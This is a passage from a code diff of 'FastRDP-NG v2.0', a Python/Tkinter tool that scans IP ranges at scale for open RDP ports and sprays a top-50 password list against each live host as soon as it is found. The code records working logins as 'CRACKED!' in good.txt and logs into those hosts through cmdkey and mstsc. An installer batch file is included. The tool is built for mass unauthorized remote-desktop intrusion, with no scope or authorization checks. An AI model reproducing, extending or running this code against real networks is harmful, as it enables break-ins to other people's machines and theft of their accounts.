log_frame, font=("Consolas", 9), height=8,
|
||||||
|
bg="#0d1117", fg="#c9d1d9", insertbackground="white",
|
||||||
|
relief="flat", borderwidth=0
|
||||||
|
)
|
||||||
|
self.log_text.pack(fill="both", expand=True)
|
||||||
|
|
||||||
|
self.log_text.tag_configure("hit", foreground=Colors.GREEN,
|
||||||
|
font=("Consolas", 9, "bold"))
|
||||||
|
self.log_text.tag_configure("info", foreground="#79c0ff")
|
||||||
|
self.log_text.tag_configure("error", foreground=Colors.RED)
|
||||||
|
self.log_text.tag_configure("scan", foreground=Colors.YELLOW)
|
||||||
|
self.log_text.tag_configure("system", foreground=Colors.TEXT_DIM)
|
||||||
|
|
||||||
|
def _make_metric(self, parent, label, value, row, col, color):
|
||||||
|
frame = tk.Frame(parent, bg=Colors.INPUT_BG, highlightbackground=color,
|
||||||
|
highlightthickness=1, padx=8, pady=5)
|
||||||
|
frame.grid(row=row, column=col, padx=3, pady=3, sticky="nsew")
|
||||||
|
tk.Label(frame, text=label, fg=Colors.TEXT_DIM, bg=Colors.INPUT_BG,
|
||||||
|
font=("Segoe UI", 7)).pack()
|
||||||
|
metric_label = tk.Label(frame, text=value, fg=color, bg=Colors.INPUT_BG,
|
||||||
|
font=("Consolas", 14, "bold"))
|
||||||
|
metric_label.pack()
|
||||||
|
key = label.lower().replace(" ", "_")
|
||||||
|
self._metric_labels[key] = metric_label
|
||||||
|
|
||||||
|
# ── TAB 2: RESULTS ─────────────────────────────────────
|
||||||
|
def _build_results_tab(self):
|
||||||
|
hit_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4a5 Successful Logins", padding=3)
|
||||||
|
hit_frame.pack(fill="both", expand=True, pady=(0, 3))
|
||||||
|
|
||||||
|
columns = ("ip", "port", "username", "password", "timestamp")
|
||||||
|
self.hit_tree = ttk.Treeview(hit_frame, columns=columns,
|
||||||
|
show="headings", height=10)
|
||||||
|
headings = [("ip", "IP Address", 160), ("port", "Port", 60),
|
||||||
|
("username", "Username", 130), ("password", "Password", 130),
|
||||||
|
("timestamp", "Found At", 150)]
|
||||||
|
for col, text, width in headings:
|
||||||
|
self.hit_tree.heading(col, text=text)
|
||||||
|
self.hit_tree.column(col, width=width)
|
||||||
|
|
||||||
|
# Double-click hit to RDP connect
|
||||||
|
self.hit_tree.bind("<Double-1>", self._on_hit_double_click)
|
||||||
|
|
||||||
|
scroll_y2 = ttk.Scrollbar(hit_frame, orient="vertical",
|
||||||
|
command=self.hit_tree.yview)
|
||||||
|
self.hit_tree.configure(yscrollcommand=scroll_y2.set)
|
||||||
|
self.hit_tree.pack(side="left", fill="both", expand=True)
|
||||||
|
scroll_y2.pack(side="right", fill="y")
|
||||||
|
|
||||||
|
out_frame = ttk.LabelFrame(self.tab_results, text="\U0001f4c4 good.txt Output", padding=3)
|
||||||
|
out_frame.pack(fill="both", expand=True)
|
||||||
|
|
||||||
|
btn_row = tk.Frame(out_frame, bg=Colors.BG_MID)
|
||||||
|
btn_row.pack(fill="x", pady=(0, 3))
|
||||||
|
ttk.Button(btn_row, text="\U0001f504 Refresh", command=self._refresh_good).pack(side="left")
|
||||||
|
ttk.Button(btn_row, text="\U0001f4c2 Open File",
|
||||||
|
command=lambda: os.startfile(os.path.join(RESULTS_DIR, "good.txt"))
|
||||||
|
if hasattr(os, 'startfile') else None).pack(side="left", padx=5)
|
||||||
|
|
||||||
|
self.good_text = scrolledtext.ScrolledText(
|
||||||
|
out_frame, font=("Consolas", 9), height=8,
|
||||||
|
bg="#0d1117", fg=Colors.GREEN, relief="flat", borderwidth=0
|
||||||
|
)
|
||||||
|
self.good_text.pack(fill="both", expand=True)
|
||||||
|
|
||||||
|
# ── TAB 3: SETTINGS ────────────────────────────────────
|
||||||
|
def _build_settings_tab(self):
|
||||||
|
editor_frame = ttk.LabelFrame(self.tab_settings, text="\U0001f4dd Wordlist Editor", padding=8)
|
||||||
|
editor_frame.pack(fill="both", expand=True, pady=(0, 5))
|
||||||
|
|
||||||
|
nb = ttk.Notebook(editor_frame)
|
||||||
|
nb.pack(fill="both", expand=True)
|
||||||
|
|
||||||
|
for name, file_key in [("Usernames", "users"), ("Passwords", "passwords"),
|
||||||
|
("Ranges", "ranges")]:
|
||||||
|
tab = tk.Frame(nb, bg=Colors.INPUT_BG)
|
||||||
|
nb.add(tab, text=f" {name} ")
|
||||||
|
text_widget = scrolledtext.ScrolledText(
|
||||||
|
tab, font=("Consolas", 9), bg="#0d1117", fg=Colors.TEXT,
|
||||||
|
relief="flat", borderwidth=0
|
||||||
|
)
|
||||||
|
text_widget.pack(fill="both", expand=True, padx=2, pady=2)
|
||||||
|
fpath = os.path.join(WORDLISTS_DIR, f"{file_key}.txt")
|
||||||
|
if os.path.exists(fpath):
|
||||||
|
with open(fpath, 'r', errors='ignore') as f:
|
||||||
|
content = f.read()
|
||||||
|
text_widget.insert("1.0", content)
|
||||||
|
setattr(self, f"{file_key}_editor", text_widget)
|
||||||
|
|
||||||
|
about_frame = ttk.LabelFrame(self.tab_settings, text="\u2139 About", padding=8)
|
||||||
|
about_frame.pack(fill="x")
|
||||||
|
tk.Label(about_frame,
|
||||||
|
text="FastRDP-NG v2.0 \u2014 Next Generation RDP Scanner\n"
|
||||||
|
"Built with Python 3.11 + asyncio\n"
|
||||||
|
"Streaming: scan + spray run CONCURRENTLY\n"
|
||||||
|
"Double-click any host to RDP connect instantly\n"
|
||||||
|
"Top 50 password spraying \u2022 CIDR/range support",
|
||||||
|
fg=Colors.TEXT, bg=Colors.BG_MID, justify="left",
|
||||||
|
font=("Segoe UI", 9)).pack(anchor="w", pady=5)
|
||||||
|
|
||||||
|
# ── METRICS UPDATE ─────────────────────────────────────
|
||||||
|
def _update_stats_display(self):
|
||||||
|
s = self.stats
|
||||||
|
elapsed = time.time() - s.start_time if s.start_time > 0 else 0
|
||||||
|
labels_map = {
|
||||||
|
"checked": f"{s.checked:,}",
|
||||||
|
"total": f"{s.total:,}",
|
||||||
|
"live": f"{s.live}",
|
||||||
|
"hits": f"{s.hits}",
|
||||||
|
"rate": f"{s.rate:,.0f}/s" if s.rate > 0 else "0/s",
|
||||||
|
"elapsed": f"{elapsed:.0f}s" if elapsed < 60
|
||||||
|
else f"{elapsed/60:.1f}m"
|
||||||
|
}
|
||||||
|
for key, text in labels_map.items():
|
||||||
|
if key in self._metric_labels:
|
||||||
|
lbl = self._metric_labels[key]
|
||||||
|
try:
|
||||||
|
lbl.config(text=text)
|
||||||
|
except tk.TclError:
|
||||||
|
pass
|
||||||
|
self.root.after(500, self._update_stats_display)
|
||||||
|
|
||||||
|
# ── LOGGING ────────────────────────────────────────────
|
||||||
|
def _log(self, msg: str, tag: str = "info"):
|
||||||
|
ts = time.strftime("%H:%M:%S")
|
||||||
|
try:
|
||||||
|
self.log_text.insert("end", f"[{ts}] {msg}\n", tag)
|
||||||
|
self.log_text.see("end")
|
||||||
|
except tk.TclError:
|
||||||
|
pass
|
||||||
|
tag_colors = {
|
||||||
|
"hit": "\033[92m",
|
||||||
|
"info": "\033[94m",
|
||||||
|
"error": "\033[91m",
|
||||||
|
"scan": "\033[93m",
|
||||||
|
"system": "\033[90m",
|
||||||
|
}
|
||||||
|
color = tag_colors.get(tag, "\033[97m")
|
||||||
|
try:
|
||||||
|
print(f" {color}[{ts}]\033[0m {msg}", flush=True)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# ── RDP CONNECT FEATURE ────────────────────────────────
|
||||||
|
def _rdp_connect(self, ip: str, port: int, username: str = "", password: str = ""):
|
||||||
|
"""Launch Windows mstsc (or store creds + launch) for given host."""
|
||||||
|
ts = time.strftime("%H:%M:%S")
|
||||||
|
try:
|
||||||
|
if username and password:
|
||||||
|
# Store credential in Windows Credential Manager for this session
|
||||||
|
# Then mstsc can use it automatically
|
||||||
|
cmdkey_path = r"C:\Windows\System32\cmdkey.exe"
|
||||||
|
if os.path.exists(cmdkey_path):
|
||||||
|
proc = subprocess.run(
|
||||||
|
[cmdkey_path, "/add:TERMSRV", f"/user:{username}", f"/pass:{password}"],
|
||||||
|
capture_output=True, timeout=5,
|
||||||
|
creationflags=subprocess.CREATE_NO_WINDOW
|
||||||
|
)
|
||||||
|
self._log(f"\U0001f4bb Stored RDP creds for {username}@{ip}", "system")
|
||||||
|
else:
|
||||||
|
self._log("\U0001f4bb cmdkey not found, launching without stored creds", "system")
|
||||||
|
|
||||||
|
# Launch mstsc
|
||||||
|
mstsc_path = r"C:\Windows\System32\mstsc.exe"
|
||||||
|
if os.path.exists(mstsc_path):
|
||||||
|
rdp_target = f"/v:{ip}:{port}"
|
||||||
|
subprocess.Popen(
|
||||||
|
[mstsc_path, rdp_target],
|
||||||
|
creationflags=subprocess.CREATE_NO_WINDOW
|
||||||
|
)
|
||||||
|
self._log(f"\U0001f4bb RDP launched: {ip}:{port} [{username}]", "hit")
|
||||||
|
self.rdp_status.config(text=f"RDP: {ip}:{port}")
|
||||||
|
print(_c("\033[92m", f" [{ts}] \U0001f4bb RDP \u2192 {ip}:{port} user={username}"))
|
||||||
|
else:
|
||||||
|
self._log("\u274c mstsc.exe not found! Are you on Windows?", "error")
|
||||||
|
except Exception as e:
|
||||||
|
self._log(f"\u274c RDP error: {e}", "error")
|
||||||
|
|
||||||
|
def _rdp_connect_selected(self):
|
||||||
|
"""RDP connect to the currently selected host in the tree."""
|
||||||
|
sel = self.host_tree.selection()
|
||||||
|
if not sel:
|
||||||
|
self.rdp_status.config(text="No host selected!")
|
||||||
|
return
|
||||||
|
item = sel[0]
|
||||||
|
vals = self.host_tree.item(item, "values")
|
||||||
|
ip = vals[0]
|
||||||
|
port = int(vals[1]) if vals[1].isdigit() else 3389
|
||||||
|
user = vals[3] if len(vals) > 3 else ""
|
||||||
|
pwd = vals[4] if len(vals) > 4 else ""
|
||||||
|
self._rdp_connect(ip, port, user, pwd)
|
||||||
|
|
||||||
|
def _on_host_double_click(self, event):
|
||||||
|
self._rdp_connect_selected()
|
||||||
|
|
||||||
|
def _on_hit_double_click(self, event):
|
||||||
|
sel = self.hit_tree.selection()
|
||||||
|
if not sel:
|
||||||
|
return
|
||||||
|
item = sel[0]
|
||||||
|
vals = self.hit_tree.item(item, "values")
|
||||||
|
ip = vals[0]
|
||||||
|
port = int(vals[1]) if vals[1].isdigit() else 3389
|
||||||
|
user = vals[2] if len(vals) > 2 else ""
|
||||||
|
pwd = vals[3] if len(vals) > 3 else ""
|
||||||
|
self._rdp_connect(ip, port, user, pwd)
|
||||||
|
|
||||||
|
def _quick_rdp_dialog(self):
|
||||||
|
dialog = tk.Toplevel(self.root)
|
||||||
|
dialog.title("Quick RDP Connect")
|
||||||
|
dialog.geometry("380x200")
|
||||||
|
dialog.configure(bg=Colors.BG_DARK)
|
||||||
|
dialog.transient(self.root)
|
||||||
|
dialog.grab_set()
|
||||||
|
|
||||||
|
tk.Label(dialog, text="Manual RDP Connection", font=("Segoe UI", 12, "bold"),
|
||||||
|
fg=Colors.ACCENT, bg=Colors.BG_DARK).pack(pady=(10, 5))
|
||||||
|
|
||||||
|
frame = tk.Frame(dialog, bg=Colors.BG_DARK)
|
||||||
|
frame.pack(pady=5)
|
||||||
|
|
||||||
|
tk.Label(frame, text="IP:", fg=Colors.TEXT, bg=Colors.BG_DARK,
|
||||||
|
font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w", padx=5)
|
||||||
|
ip_entry = ttk.Entry(frame, width=30)
|
||||||
|
ip_entry.grid(row=0, column=1, padx=5, pady=2)
|
||||||
|
|
||||||
|
tk.Label(frame, text="Port:", fg=Colors.TEXT, bg=Colors.BG_DARK,
|
||||||
|
font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", padx=5)
|
||||||
|
port_entry = ttk.Entry(frame, width=10)
|
||||||
|
port_entry.insert(0, "3389")
|
||||||
|
port_entry.grid(row=1, column=1, sticky="w", padx=5, pady=2)
|
||||||
|
|
||||||
|
tk.Label(frame, text="User:", fg=Colors.TEXT, bg=Colors.BG_DARK,
|
||||||
|
font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", padx=5)
|
||||||
|
user_entry = ttk.Entry(frame, width=30)
|
||||||
|
user_entry.grid(row=2, column=1, padx=5, pady=2)
|
||||||
|
|
||||||
|
def connect():
|
||||||
|
ip = ip_entry.get().strip()
|
||||||
|
port_str = port_entry.get().strip()
|
||||||
|
port = int(port_str) if port_str.isdigit() else 3389
|
||||||
|
user = user_entry.get().strip()
|
||||||
|
self._rdp_connect(ip, port, user)
|
||||||
|
dialog.destroy()
|
||||||
|
|
||||||
|
ttk.Button(dialog, text="\U0001f4bb Connect RDP", style="Accent.TButton",
|
||||||
|
command=connect).pack(pady=10)
|
||||||
|
|
||||||
|
# ── HELPERS ────────────────────────────────────────────
|
||||||
|
def _browse_ranges(self):
|
||||||
|
path = filedialog.askopenfilename(
|
||||||
|
title="Select ranges file",
|
||||||
|
filetypes=[("Text files", "*.txt"), ("All files", "*.*")]
|
||||||
|
)
|
||||||
|
if path:
|
||||||
|
self.ranges_entry.delete(0, "end")
|
||||||
|
self.ranges_entry.insert(0, path)
|
||||||
|
|
||||||
|
def _browse_file(self, which: str):
|
||||||
|
path = filedialog.askopenfilename(
|
||||||
|
title=f"Select {which} file",
|
||||||
|
filetypes=[("Text files", "*.txt"), ("All files", "*.*")]
|
||||||
|
)
|
||||||
|
if path:
|
||||||
|
entry = getattr(self, f"{which}_entry", None)
|
||||||
|
if entry:
|
||||||
|
entry.delete(0, "end")
|
||||||
|
entry.insert(0, path)
|
||||||
|
|
||||||
|
def _quick_add_ip(self):
|
||||||
|
dialog = tk.Toplevel(self.root)
|
||||||
|
dialog.title("Quick Add IP")
|
||||||
|
dialog.geometry("350x120")
|
||||||
|
dialog.configure(bg=Colors.BG_DARK)
|
||||||
|
dialog.transient(self.root)
|
||||||
|
dialog.grab_set()
|
||||||
|
tk.Label(dialog, text="Enter IP, range, or CIDR:",
|
||||||
|
fg=Colors.TEXT, bg=Colors.BG_DARK,
|
||||||
|
font=("Segoe UI", 9)).pack(pady=(10, 5))
|
||||||
|
entry = ttk.Entry(dialog, width=45)
|
||||||
|
entry.pack(pady=5)
|
||||||
|
entry.focus()
|
||||||
|
|
||||||
|
def add():
|
||||||
|
ip = entry.get().strip()
|
||||||
|
if ip:
|
||||||
|
rp = self.ranges_entry.get().strip()
|
||||||
|
if rp:
|
||||||
|
try:
|
||||||
|
with open(rp, 'a') as f:
|
||||||
|
f.write(f"\n{ip}")
|
||||||
|
self._log(f"\u2795 Added target: {ip}", "system")
|
||||||
|
except OSError as e:
|
||||||
|
self._log(f"\u274c Failed to write: {e}", "error")
|
||||||
|
else:
|
||||||
|
self._log("\u274c No ranges file path set!", "error")
|
||||||
|
dialog.destroy()
|
||||||
|
ttk.Button(dialog, text="Add Target", command=add).pack()
|
||||||
|
|
||||||
|
def _refresh_good(self):
|
||||||
|
self.good_text.delete("1.0", "end")
|
||||||
|
good_path = os.path.join(RESULTS_DIR, "good.txt")
|
||||||
|
if os.path.exists(good_path):
|
||||||
|
with open(good_path, 'r') as f:
|
||||||
|
self.good_text.insert("1.0", f.read())
|
||||||
|
|
||||||
|
def _update_host_status(self, ip, port, status, user="", pwd=""):
|
||||||
|
"""Update the status of a host in the treeview."""
|
||||||
|
key = (ip, port)
|
||||||
|
if key in self.host_items:
|
||||||
|
item_id = self.host_items[key]
|
||||||
|
self.root.after(0, lambda iid=item_id, s=status, u=user, pw=pwd:
|
||||||
|
self.host_tree.item(iid, values=(ip, str(port), s, u, pw)))
|
||||||
|
else:
|
||||||
|
# New host - insert row
|
||||||
|
self.root.after(0, lambda i=ip, p=port, s=status:
|
||||||
|
self._insert_host(i, p, s))
|
||||||
|
|
||||||
|
def _insert_host(self, ip, port, status):
|
||||||
|
item_id = self.host_tree.insert("", "end", values=(ip, str(port), status, "", ""))
|
||||||
|
self.host_items[(ip, port)] = item_id
|
||||||
|
|
||||||
|
# ── SCAN LOGIC ─────────────────────────────────────────
|
||||||
|
def _start_scan(self):
|
||||||
|
if self.scanning:
|
||||||
|
return
|
||||||
|
self.scanning = True
|
||||||
|
self.start_btn.config(state="disabled")
|
||||||
|
self.stop_btn.config(state="normal")
|
||||||
|
|
||||||
|
self.stats = ScanStats(start_time=time.time(), phase="scanning")
|
||||||
|
for item in self.host_tree.get_children():
|
||||||
|
self.host_tree.delete(item)
|
||||||
|
self.host_items.clear()
|
||||||
|
self.live_hosts.clear()
|
||||||
|
self.hits.clear()
|
||||||
|
|
||||||
|
self._log("\u2501" * 55, "system")
|
||||||
|
self._log("\u25b6\u25b6\u25b6 SCAN STARTED (streaming mode)", "scan")
|
||||||
|
print(_c("\033[96m", " \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510"))
|
||||||
|
print(_c("\033[96m", " \u2502 ") + _c("\033[93m", "FASTRDP-NG v2.0 :: Streaming Scan + Instant Spray") + _c("\033[96m", " \u2502"))
|
||||||
|
print(_c("\033[96m", " \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518"))
|
||||||
|
|
||||||
|
thread = threading.Thread(target=self._scan_worker, daemon=True)
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
def _stop_scan(self):
|
||||||
|
self.scanning = False
|
||||||
|
self._log("\u25a0 STOP signal sent (finishing current batch)", "error")
|
||||||
|
|
||||||
|
def _clear_results(self):
|
||||||
|
for item in self.host_tree.get_children():
|
||||||
|
self.host_tree.delete(item)
|
||||||
|
for item in self.hit_tree.get_children():
|
||||||
|
self.hit_tree.delete(item)
|
||||||
|
self.host_items.clear()
|
||||||
|
self.live_hosts.clear()
|
||||||
|
self.hits.clear()
|
||||||
|
self.log_text.delete("1.0", "end")
|
||||||
|
self.stats = ScanStats()
|
||||||
|
|
||||||
|
def _load_wordlists(self):
|
||||||
|
"""Load usernames and passwords from files (or use defaults)."""
|
||||||
|
usernames = TOP_USERNAMES
|
||||||
|
passwords = TOP50_PASSWORDS
|
||||||
|
|
||||||
|
uf = self.users_entry.get().strip()
|
||||||
|
if os.path.exists(uf):
|
||||||
|
with open(uf, 'r', errors='ignore') as f:
|
||||||
|
cu = [l.strip() for l in f if l.strip()]
|
||||||
|
if cu:
|
||||||
|
usernames = cu
|
||||||
|
|
||||||
|
pf = self.pass_entry.get().strip()
|
||||||
|
if os.path.exists(pf):
|
||||||
|
with open(pf, 'r', errors='ignore') as f:
|
||||||
|
cp = [l.strip() for l in f if l.strip()]
|
||||||
|
if cp:
|
||||||
|
passwords = cp
|
||||||
|
|
||||||
|
return usernames, passwords
|
||||||
|
|
||||||
|
def _scan_worker(self):
|
||||||
|
"""Background thread: scan + spray run CONCURRENTLY."""
|
||||||
|
try:
|
||||||
|
loop = asyncio.new_event_loop()
|
||||||
|
asyncio.set_event_loop(loop)
|
||||||
|
|
||||||
|
ranges_path = self.ranges_entry.get().strip()
|
||||||
|
if not os.path.exists(ranges_path):
|
||||||
|
self._log(f"\u274c Ranges file not found: {ranges_path}", "error")
|
||||||
|
self._scan_done()
|
||||||
|
return
|
||||||
|
|
||||||
|
self._log("\U0001f4ca Counting targets...", "system")
|
||||||
|
total_ips = count_ips(ranges_path)
|
||||||
|
self.stats.total = total_ips
|
||||||
|
|
||||||
|
ips = list(parse_ranges_file(ranges_path))
|
||||||
|
if not ips:
|
||||||
|
self._log("\u274c No valid IPs found in ranges file!", "error")
|
||||||
|
self._scan_done()
|
||||||
|
return
|
||||||
|
|
||||||
|
if self.randomize_var.get():
|
||||||
|
random.shuffle(ips)
|
||||||
|
|
||||||
|
active_ports = [p for p, v in self.port_vars.items() if v.get()]
|
||||||
|
if not active_ports:
|
||||||
|
active_ports = [3389]
|
||||||
|
|
||||||
|
speed = self.speed_var.get()
|
||||||
|
timeout = self.timeout_var.get()
|
||||||
|
self.stats.total = len(ips) * len(active_ports)
|
||||||
|
|
||||||
|
self._log(f"\U0001f680 Scanning {len(ips):,} IPs x {len(active_ports)} ports "
|
||||||
|
f"({speed:,} concurrent)", "system")
|
||||||
|
print(_c("\033[90m", f" [+] Targets: {len(ips):,} IPs x {len(active_ports)} ports"))
|
||||||
|
print(_c("\033[90m", f" [+] Concurrency: {speed:,} | Timeout: {timeout}s"))
|
||||||
|
print(_c("\033[90m", " [+] Streaming: spray starts IMMEDIATELY on each host found"))
|
||||||
|
print(_c("\033[90m", " [+] " + "\u2500" * 55))
|
||||||
|
|
||||||
|
# Load wordlists now (in the background thread, before async loop)
|
||||||
|
usernames, passwords = self._load_wordlists()
|
||||||
|
self._log(f"\U0001f4cb Loaded {len(usernames)} username(s) x {len(passwords)} password(s)", "system")
|
||||||
|
|
||||||
|
# ── Streaming design ─────────────────────────────
|
||||||
|
# Scan calls live_callback immediately for each live host.
|
||||||
|
# The callback adds the host to a queue, and spray tasks
|
||||||
|
# are created as they arrive — all within the same loop.
|
||||||
|
spray_tasks = []
|
||||||
|
|
||||||
|
def on_live_host(ip: str, port: int):
|
||||||
|
"""Called IMMEDIATELY from the scanner when a host is found."""
|
||||||
|
if not self.scanning:
|
||||||
|
return
|
||||||
|
self.live_hosts.add((ip, port))
|
||||||
|
self.stats.live = len(self.live_hosts)
|
||||||
|
self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan")
|
||||||
|
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
|
||||||
|
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
|
||||||
|
|
||||||
|
if self.spray_var.get():
|
||||||
|
# Create an asyncio task for this host's spray
|
||||||
|
task = asyncio.create_task(
|
||||||
|
self._spray_host(loop, ip, port, usernames, passwords)
|
||||||
|
)
|
||||||
|
spray_tasks.append(task)
|
||||||
|
|
||||||
|
def progress_cb(checked, total, found, rate):
|
||||||
|
if not self.scanning:
|
||||||
|
return
|
||||||
|
self.stats.checked = checked
|
||||||
|
self.stats.live = found
|
||||||
|
self.stats.rate = rate
|
||||||
|
|
||||||
|
# Run scan — live_callback fires immediately for each live host
|
||||||
|
scan_task = asyncio.create_task(
|
||||||
|
scan_ips(
|
||||||
|
ips, ports=active_ports,
|
||||||
|
max_concurrent=speed,
|
||||||
|
connect_timeout=timeout,
|
||||||
|
banner_check=False,
|
||||||
|
progress_callback=progress_cb,
|
||||||
|
live_callback=on_live_host
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
# Wait for scan to finish (spray tasks run alongside)
|
||||||
|
loop.run_until_complete(scan_task)
|
||||||
|
|
||||||
|
# Wait for remaining spray tasks to finish
|
||||||
|
if spray_tasks:
|
||||||
|
self._log(f"\U0001f511 Waiting for {len(spray_tasks)} spray jobs to finish...", "system")
|
||||||
|
loop.run_until_complete(asyncio.gather(*spray_tasks, return_exceptions=True))
|
||||||
|
|
||||||
|
self._scan_done()
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self._log(f"\u274c ERROR: {e}", "error")
|
||||||
|
import traceback
|
||||||
|
for line in traceback.format_exc().split('\n'):
|
||||||
|
if line.strip():
|
||||||
|
self._log(f" {line}", "error")
|
||||||
|
self._scan_done()
|
||||||
|
|
||||||
|
async def _spray_host(self, loop, ip, port, usernames, passwords):
|
||||||
|
"""Spray ALL passwords against a single host."""
|
||||||
|
try:
|
||||||
|
hits = await spray_single_host(
|
||||||
|
ip, port,
|
||||||
|
usernames=usernames,
|
||||||
|
passwords=passwords,
|
||||||
|
max_concurrent=50,
|
||||||
|
timeout=5.0,
|
||||||
|
hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw)
|
||||||
|
)
|
||||||
|
|
||||||
|
if not hits:
|
||||||
|
self._update_host_status(ip, port, "\u274c No hit")
|
||||||
|
self._log(f"\u274c {ip}:{port} \u2014 no valid creds found", "info")
|
||||||
|
print(_c("\033[93m", f" [{time.strftime('%H:%M:%S')}] \u274c {ip}:{port} \u2014 no hits"))
|
||||||
|
else:
|
||||||
|
self._update_host_status(ip, port, "\u2705 CRACKED!",
|
||||||
|
hits[0][2], hits[0][3])
|
||||||
|
self.stats.hits = len(self.hits)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self._log(f"Spray error on {ip}:{port}: {e}", "error")
|
||||||
|
|
||||||
|
def _on_hit_found(self, ip, port, user, pwd):
|
||||||
|
"""Called immediately when a credential hit is found."""
|
||||||
|
ts = time.strftime("%H:%M:%S")
|
||||||
|
self.hits.append((ip, port, user, pwd))
|
||||||
|
self.stats.hits = len(self.hits)
|
||||||
|
|
||||||
|
# GUI updates must happen on main thread
|
||||||
|
self.root.after(0, lambda i=ip, p=port, u=user, pw=pwd, t=ts:
|
||||||
|
self.hit_tree.insert("", 0, values=(i, str(p), u, pw, t)))
|
||||||
|
self._write_good(ip, port, user, pwd)
|
||||||
|
|
||||||
|
def _write_good(self, ip: str, port: int, user: str, pwd: str):
|
||||||
|
good_path = os.path.join(RESULTS_DIR, "good.txt")
|
||||||
|
with open(good_path, 'a') as f:
|
||||||
|
f.write(f"{user}:{pwd}@{ip}:{port}\n")
|
||||||
|
|
||||||
|
def _scan_done(self):
|
||||||
|
self.scanning = False
|
||||||
|
self.stats.phase = "done"
|
||||||
|
self.root.after(0, lambda: self.start_btn.config(state="normal"))
|
||||||
|
self.root.after(0, lambda: self.stop_btn.config(state="disabled"))
|
||||||
|
self._log("\u25a0 SCAN COMPLETE", "scan")
|
||||||
|
print(_c("\033[96m", f" [{time.strftime('%H:%M:%S')}] \u25a0 SCAN COMPLETE"))
|
||||||
|
print(_c("\033[96m", f" [{time.strftime('%H:%M:%S')}] Live: {self.stats.live} | Hits: {self.stats.hits}"))
|
||||||
|
print(_c("\033[96m", " \u2500" * 55))
|
||||||
|
|
||||||
|
def _on_close(self):
|
||||||
|
self.scanning = False
|
||||||
|
self.root.destroy()
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
self.root.mainloop()
|
||||||
63
install.bat
Normal file
63
install.bat
Normal file
@@ -0,0 +1,63 @@
|
|||||||
|
@echo off
|
||||||
|
title FastRDP-NG v2.0 - Installer
|
||||||
|
cd /d "%~dp0"
|
||||||
|
echo.
|
||||||
|
echo ╔══════════════════════════════════════════╗
|
||||||
|
echo ║ FastRDP-NG v2.0 Installer ║
|
||||||
|
echo ╚══════════════════════════════════════════╝
|
||||||
|
echo.
|
||||||
|
|
||||||
|
:: Check Python
|
||||||
|
python --version >nul 2>&1
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo [FAIL] Python is not installed or not in PATH!
|
||||||
|
echo.
|
||||||
|
echo Download Python 3.8+ from: https://python.org/downloads
|
||||||
|
echo Make sure to check "Add Python to PATH" during installation.
|
||||||
|
echo.
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i
|
||||||
|
echo [OK] Python %pyver% found
|
||||||
|
|
||||||
|
:: Create directories
|
||||||
|
if not exist "wordlists" mkdir wordlists
|
||||||
|
if not exist "results" mkdir results
|
||||||
|
echo [OK] Directories created
|
||||||
|
|
||||||
|
:: Verify core files exist
|
||||||
|
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py
|
||||||
|
for %%f in (%FILES%) do (
|
||||||
|
if exist "%%f" (
|
||||||
|
echo [OK] %%f
|
||||||
|
) else (
|
||||||
|
echo [WARN] %%f not found
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
:: Create initial good.txt
|
||||||
|
if not exist "results\good.txt" (
|
||||||
|
echo. > "results\good.txt"
|
||||||
|
echo [OK] Created results\good.txt
|
||||||
|
)
|
||||||
|
|
||||||
|
:: Test import
|
||||||
|
echo.
|
||||||
|
echo Testing imports...
|
||||||
|
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; print(' [OK] All modules loaded successfully')" 2>&1
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo [FAIL] Import test failed. There may be a syntax error.
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ╔══════════════════════════════════════════╗
|
||||||
|
echo ║ Installation Complete! ║
|
||||||
|
echo ║ ║
|
||||||
|
echo ║ Run: run.bat or python main.py ║
|
||||||
|
echo ╚══════════════════════════════════════════╝
|
||||||
|
echo.
|
||||||
|
pause
|
||||||
87
ip_utils.py
Normal file
87
ip_utils.py
Normal file
@@ -0,0 +1,87 @@
|
|||||||
|
"""
|
||||||
|
FastRDP-NG IP Utilities
|
||||||
|
Parse IP ranges, CIDR notation, stick to basics.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import ipaddress
|
||||||
|
import re
|
||||||
|
from typing import Generator
